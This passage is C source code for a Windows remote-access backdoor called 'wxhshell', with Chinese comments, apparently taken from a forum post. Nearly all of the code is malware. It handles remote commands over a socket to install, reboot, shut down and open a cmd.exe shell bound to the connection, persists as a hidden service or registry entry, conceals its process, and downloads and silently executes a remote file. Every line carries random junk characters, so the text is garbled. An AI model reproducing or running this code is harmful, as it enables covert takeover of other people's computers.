  } 1 @/+ c  
  else { ;$86.2S>B  
7n#0eska,  
    switch(cmd[0]) { 1j}o. 0\  
  VRD2e ,K  
  // 帮助 $u>^A<TBN  
  case '?': { e Q0bx&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0ya_[\  
    break; l9n 8v\8,o  
  } BV<LIrAS  
  // 安装 p t<84CP  
  case 'i': { b+{,c@1rd  
    if(Install()) ^b&aDm~(7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z#9{1sHEP  
    else }=wSfr9g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  ;v.l<AOE  
    break; )]v vp{  
    } %!WQ;(  
  // 卸载 '*K/K],S]  
  case 'r': { +^`c" qJo  
    if(Uninstall()) a-hF/~84S:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $)kIYM&  
    else w2 CgEJ %  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?onZ:s2  
    break; z]tvy).  
    } +&JF|#FQ`  
  // 显示 wxhshell 所在路径 Ff|?<\x0}A  
  case 'p': { eGZId v1  
    char svExeFile[MAX_PATH]; w)hJ0k  
    strcpy(svExeFile,"\n\r"); +-5CM0*&  
      strcat(svExeFile,ExeFile); @UD6qA  
        send(wsh,svExeFile,strlen(svExeFile),0); yBeSvsm  
    break; nc([e9_9v  
    } wN;o++6V  
  // 重启 ^M8\ 3G  
  case 'b': { +i{&"o4}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ytHa[U  
    if(Boot(REBOOT)) e -x{7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VYvHpsI  
    else { Yr"G)i~"Y  
    closesocket(wsh); KrG$W/<tg  
    ExitThread(0); W)o-aX!P  
    } .{~ygHQ`f  
    break; =TU"B-*  
    }  _8t{4C  
  // 关机 ?f:FmgQk  
  case 'd': { )J5(M`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $7,n8ddRy  
    if(Boot(SHUTDOWN)) |7%M:7 Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i x,5-j  
    else { 9CW .xX8  
    closesocket(wsh); t hTY('m  
    ExitThread(0); v"\Q/5p  
    } -S Z^;t  
    break; u:<%!?  
    } L7C!rS  
  // 获取shell .z)&#2E  
  case 's': { iwrS>Sm  
    CmdShell(wsh); @>&UoH}2  
    closesocket(wsh); Ig*!0(v5$  
    ExitThread(0); [Nsv]Yz  
    break; =[3I#s?V  
  } `G6Nk@9.  
  // 退出 NgQ {'H[Y  
  case 'x': { OlQ7Yi>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D<C ZhYJ  
    CloseIt(wsh); (hs[B4nV  
    break; (?;Fnq  
    } T^%$  
  // 离开 Q(>89*b&  
  case 'q': { gtqgf<mS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5o'V}  
    closesocket(wsh); j8_WEjG  
    WSACleanup(); ;y Wfb|!  
    exit(1); |?i-y3N  
    break; G"3D"7f a  
        } 0Evq</  
  } !ku5P+y$  
  } Z<;am  
l0l2fwz(  
  // 提示信息 Si.3Je[q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &FW|O(]  
} grp1nWAs  
  } wk' |gI[W  
R^{Ow  
  return; t9;yyZh  
} [2WJ>2r}6  
IhhB^E|  
// shell模块句柄 T&j_7Q\;vI  
int CmdShell(SOCKET sock) $i7iv  
{ 2 <y!3OeN  
STARTUPINFO si; ZEiW\ V  
ZeroMemory(&si,sizeof(si)); @Q 8E)k@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [f!sBJ!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t n>$5}^;  
PROCESS_INFORMATION ProcessInfo; tl !o;`W  
char cmdline[]="cmd"; 0L9z[2sj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); CuR.a  
  return 0; }YfM <  
} -NGY+1  
hB]4Tn5H  
// 自身启动模式 \'q 9,tP  
int StartFromService(void) cNZuwS~,  
{ 2WE_NEpJI  
typedef struct 07:CcT  
{ G];5'd~C;d  
  DWORD ExitStatus; Yg3Vj=  
  DWORD PebBaseAddress; ""|vhgP  
  DWORD AffinityMask; K&0'@#bE\  
  DWORD BasePriority; k z"F4?,  
  ULONG UniqueProcessId; -]C3_ve  
  ULONG InheritedFromUniqueProcessId; 5|._K(M  
}   PROCESS_BASIC_INFORMATION; -Jr6aai3+  
hN=YC\l  
PROCNTQSIP NtQueryInformationProcess; wi-O}*O   
|gxT-ZM  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @ )owj^sA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?`#)JG,A7  
By%mJ%$~  
  HANDLE             hProcess; A%qlB[!:  
  PROCESS_BASIC_INFORMATION pbi; xXp$Nm]:  
_BHR ?I[w  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ou/JN+2A  
  if(NULL == hInst ) return 0; p~1!O]qLt  
C]59@z;+bN  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yqi=9NB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2Z!%Q}Do  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5v<X-8"  
r\-Mj\$-  
  if (!NtQueryInformationProcess) return 0; U{6i5;F#H  
)`<- c2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {y-7xg~}  
  if(!hProcess) return 0; _1 TSt%L  
$Hh3*reSg-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vu-QyPnS|w  
X2^`Znq9  
  CloseHandle(hProcess); XMzL\Edo  
DlIy'@ .  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZU\TA|  
if(hProcess==NULL) return 0; RKB--$ibj  
$Pv;>fHu  
HMODULE hMod; =iF}41a  
char procName[255]; CvDy;'{y1  
unsigned long cbNeeded; HMDQEd;  
IWbW=0IsS  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q%:#xG5AmE  
46^LPC"x  
  CloseHandle(hProcess); _o'_ z ]  
ANgfG8>  
if(strstr(procName,"services")) return 1; // 以服务启动 $C@v  
H%2Y8}  
  return 0; // 注册表启动 CDOqdBQ  
} '!Gnr[aR  
"uK`!{  
// 主模块 z@5t7e)!R  
int StartWxhshell(LPSTR lpCmdLine) (NPDgR/  
{ 3%c{eZxG=  
  SOCKET wsl; Ck<g0o6  
BOOL val=TRUE; c}(fmJB&(  
  int port=0; ~&)  
  struct sockaddr_in door; #SWL$Vm>  
V0y Q  
  if(wscfg.ws_autoins) Install(); m E<n=g=  
HivmKn`  
port=atoi(lpCmdLine); p<hV7x-{  
"7Qc:<ww  
if(port<=0) port=wscfg.ws_port; J<8~w; i  
'uAH, .B  
  WSADATA data; 5<1,`Bq@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;533;(d* o  
ODE9@]a  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k8]=5C?k  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2x3'm  
  door.sin_family = AF_INET; &Z Ja}5k!r  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); erG@8CG  
  door.sin_port = htons(port); pC9Ed9uRK  
pMJK?- )  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,1>ABz  
closesocket(wsl); P\#z[TuHKC  
return 1; D#lx&J.s  
} &j2fh!\4  
^'"sFEV7RN  
  if(listen(wsl,2) == INVALID_SOCKET) { yj]\%3o<Z7  
closesocket(wsl); "b6ZAgxv  
return 1; 7vBB <\  
} "f'pa&oHi  
  Wxhshell(wsl); [Tv!Pc  
  WSACleanup(); 3'(w6V  
RJMrSz$  
return 0; W/Rb7q4v  
i7^_y3dG  
} ?V|t7^+:  
j\t"4=,n  
// 以NT服务方式启动 3W*O%9t7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M[9]t("  
{ Yjo$^q  
DWORD   status = 0; 0Me *X  
  DWORD   specificError = 0xfffffff; /W !A^  
Y)% CxaO `  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |BysSJ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Rb_HD  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1EW-%GQO  
  serviceStatus.dwWin32ExitCode     = 0; :hB 8hTw]p  
  serviceStatus.dwServiceSpecificExitCode = 0;  imE5 $;  
  serviceStatus.dwCheckPoint       = 0; T""y)%  
  serviceStatus.dwWaitHint       = 0; | ?Js)i  
UYu 54`'kg  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Vab+58s5  
  if (hServiceStatusHandle==0) return; LGb.>O^  
mtEE,O!+  
status = GetLastError(); =A,32&;@N  
  if (status!=NO_ERROR) 1zE_ SNx  
{ 8.vPh  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; x Hw$  
    serviceStatus.dwCheckPoint       = 0; ]# hT!VOd  
    serviceStatus.dwWaitHint       = 0; $;<h<#_n;  
    serviceStatus.dwWin32ExitCode     = status; d7o~$4h|  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~5aq.hF1,A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); xe)< )y  
    return; h 9V9.'  
  } N"~P` H![x  
r1cB<-bJ#'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "yMr\jt~-  
  serviceStatus.dwCheckPoint       = 0; Z+"%MkX0  
  serviceStatus.dwWaitHint       = 0; mea]m)P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^=)? a;V  
} SZ}t_w `  
E&k{ubcT  
// 处理NT服务事件,比如:启动、停止 >iP>v`J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l'N>9~f  
{ BaIh,iu  
switch(fdwControl) luZqW`?Bt  
{ ;F@dN,Y  
case SERVICE_CONTROL_STOP: k07JMS?  
  serviceStatus.dwWin32ExitCode = 0; Z iDmx-X  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (bo{vX  
  serviceStatus.dwCheckPoint   = 0; h+$1+Es  
  serviceStatus.dwWaitHint     = 0; tq9t(0EL  
  { 2S^xqvh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n }lav  
  } s#sr1[9}G  
  return; LV=!nF0  
case SERVICE_CONTROL_PAUSE: -W>zON|l  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; FE1dr_i  
  break; N i^pP@('  
case SERVICE_CONTROL_CONTINUE: FK!9to>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ai iOs?  
  break; EAFKf*K=  
case SERVICE_CONTROL_INTERROGATE: NWB/N*  
  break; Y VTY{>Q  
}; \~nUk7.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pp N+q:(  
} NW=j>7  
9a)D8  
// 标准应用程序主函数 (JFa  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) cd}TDd(H%  
{ J8a4.prqI  
FQi"OZHq  
// 获取操作系统版本 X%,;IW]a  
OsIsNt=GetOsVer(); B!< {s'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); N|q:wyS|  
|6\ ?"#  
  // 从命令行安装 2!dIW5I  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]8YHA}P  
>T~{_|N  
  // 下载执行文件 ~C=`yj  
if(wscfg.ws_downexe) { c#9 zw[y-L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `Y.RAw5LrE  
  WinExec(wscfg.ws_filenam,SW_HIDE); (m3p28Q?  
} 4$.UVW\  
)." zBc#  
if(!OsIsNt) { ..;LU:F  
// 如果时win9x,隐藏进程并且设置为注册表启动 $if(`8  
HideProc(); /]]\jj#^  
StartWxhshell(lpCmdLine); Q8Usyc'3  
} hU G Iy(  
else ?vf{v  
  if(StartFromService()) r~nrP=-%  
  // 以服务方式启动 iCk34C7  
  StartServiceCtrlDispatcher(DispatchTable); _* 4 <  
else 9 J5Z'd_  
  // 普通方式启动 ]2zx}D4f  
  StartWxhshell(lpCmdLine); 3{CGYd]_u  
wrsETB c  
return 0; 1[3"|  
}
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只看该作者 1 发表于: 2006-10-10
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